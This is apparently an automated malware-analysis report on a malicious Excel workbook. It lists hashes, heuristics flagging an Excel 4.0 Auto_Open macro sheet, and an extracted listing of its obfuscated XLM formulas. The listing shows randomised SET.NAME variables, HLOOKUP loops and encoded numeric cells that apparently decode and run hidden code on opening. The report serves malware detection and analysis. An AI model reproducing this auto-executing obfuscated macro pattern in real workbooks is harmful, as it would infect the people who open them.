Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 12584b02f046fa81…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:44:06 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 9c1e6c44c76aae3140e2dee42831059d SHA-1: a298fa0bf0d925d4c1367c2fbd6d6ff73f6c2f13 SHA-256: 12584b02f046fa81c36352a035e6083760e4169e27cdac3a206ac7a4b0e77efd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6758 bytes
SHA-256: 5a822149742c2d64bf11d08964c4b3cb941ad11dcac643e2417ca78219608b4a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rcHMJEcd
' 0018     26 LABEL : Cell Value, String Constant - abvBeFaWaNo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E151 
' 0018     24 LABEL : Cell Value, String Constant - bpXNHvSgz len=0 
' 0018     26 LABEL : Cell Value, String Constant - cetSNlrufFH len=0 
' 0018     26 LABEL : Cell Value, String Constant - cmjzXbxVwnp len=0 
' 0018     21 LABEL : Cell Value, String Constant - DHsUzf len=0 
' 0018     21 LABEL : Cell Value, String Constant - diFvKw len=0 
' 0018     26 LABEL : Cell Value, String Constant - fOAJrWFsLYU len=0 
' 0018     20 LABEL : Cell Value, String Constant - gAGkZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - HDkNFbG len=0 
' 0018     25 LABEL : Cell Value, String Constant - IJfhMzlWch len=0 
' 0018     20 LABEL : Cell Value, String Constant - jTXVN len=0 
' 0018     27 LABEL : Cell Value, String Constant - kjivezGbHtAs len=0 
' 0018     20 LABEL : Cell Value, String Constant - mECWv len=0 
' 0018     26 LABEL : Cell Value, String Constant - nqYbQhVvtic len=0 
' 0018     24 LABEL : Cell Value, String Constant - PfQSzwFym len=0 
' 0018     22 LABEL : Cell Value, String Constant - SavWmUj len=0 
' 0018     27 LABEL : Cell Value, String Constant - SvpvHNKJjZVO len=0 
' 0018     20 LABEL : Cell Value, String Constant - XcMsJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - xIoUFFQxGRBK len=0 
' 0018     26 LABEL : Cell Value, String Constant - yzmrOxkFJzj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rcHMJEcd,E62,"SET.NAME("diFvKw",0+VALUE("0"))",""
'  rcHMJEcd,E64,"SET.NAME("bpXNHvSgz",diFvKw)",""
'  rcHMJEcd,E67,"SET.NAME("cmjzXbxVwnp",diFvKw)",""
'  rcHMJEcd,E69,"SET.NAME("fOAJrWFsLYU",COUNTA(yzmrOxkFJzj))",""
'  rcHMJEcd,E71,"SET.NAME("abvBeFaWaNo",COUNTA(jTXVN))",""
'  rcHMJEcd,E73,[],""
'  rcHMJEcd,E77,"SET.NAME("gAGkZ","")",""
'  rcHMJEcd,E81,"bpXNHvSgz",""
'  rcHMJEcd,E84,"SET.NAME("HDkNFbG",HLOOKUP("*",yzmrOxkFJzj,bpXNHvSgz,FALSE))",""
'  rcHMJEcd,E88,"DHsUzf",""
'  rcHMJEcd,P91,"",-194.00000000000000000000
'  rcHMJEcd,E92,"SET.NAME("nqYbQhVvtic",diFvKw)",""
'  rcHMJEcd,P92,"",-408.00000000000000000000
'  rcHMJEcd,P93,"",-926.00000000000000000000
'  rcHMJEcd,P94,"",-205.00000000000000000000
'  rcHMJEcd,E95,[],""
'  rcHMJEcd,P95,"",-630.00000000000000000000
'  rcHMJEcd,P96,"",-171.00000000000000000000
'  rcHMJEcd,E99,"nqYbQhVvtic",""
'  rcHMJEcd,E104,"mECWv",""
'  rcHMJEcd,E107,"cetSNlrufFH",""
'  rcHMJEcd,E112,"xIoUFFQxGRBK",""
'  rcHMJEcd,E115,"SET.NAME("SavWmUj",VALUE(HLOOKUP("*",jTXVN,xIoUFFQxGRBK,FALSE)))",""
'  rcHMJEcd,E118,"SvpvHNKJjZVO",""
'  rcHMJEcd,E122,"gAGkZ",""
'  rcHMJEcd,E127,"cmjzXbxVwnp",""
'  rcHMJEcd,E131,NEXT(),""
'  rcHMJEcd,E133,"PfQSzwFym",""
'  rcHMJEcd,E135,[],""
'  rcHMJEcd,E140,"XcMsJ",""
'  rcHMJEcd,E145,NEXT(),""
'  rcHMJEcd,E147,RETURN(),""
'  rcHMJEcd,E177,"SET.NAME("kjivezGbHtAs",E62)",""
'  rcHMJEcd,E181,"yzmrOxkFJzj",""
'  rcHMJEcd,E183,"SET.NAME("jTXVN",R85C15)",""
'  rcHMJEcd,E185,"SET.NAME("XcMsJ",192)",""
'  rcHMJEcd,E188,"SET.NAME("IJfhMzlWch",5)",""
'  rcHMJEcd,E191,kjivezGbHtAs(),""
'  rcHMJEcd,E192,HALT(),""